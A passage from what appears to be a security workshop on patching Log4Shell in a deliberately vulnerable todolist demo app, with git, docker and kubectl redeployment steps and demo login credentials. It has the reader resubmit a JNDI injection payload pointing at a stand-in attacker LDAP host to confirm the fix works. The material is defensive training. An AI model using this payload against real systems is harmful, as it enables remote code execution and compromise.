Back in VS Code Server, pull the latest changes, including the Snyk Fix, to the working environment.
git pull
Now build and push the container to ECR (make sure you are inside the todolist directory).
docker build -t $REPO/todolist:latest .
docker push $REPO/todolist:latest
After pushing the image to ECR, push it to EKS by scaling the goof deployment with kubectl. The deployment’s ImagePullPolicy forces EKS to pull the latest image from ECR.
kubectl scale deployment todolist --replicas=0
kubectl scale deployment todolist --replicas=1
Refresh your browser tab on the todolist app and log back in (user: foo@bar.org, password: foobar) and submit the same JDNI search string:
foo@bar.org
foobar
Enter search string
${jndi:ldap://ldap.darkweb:80/#Vandalize}
The page will not show the graffiti because the newer version on Log4J no longer is vulnerable!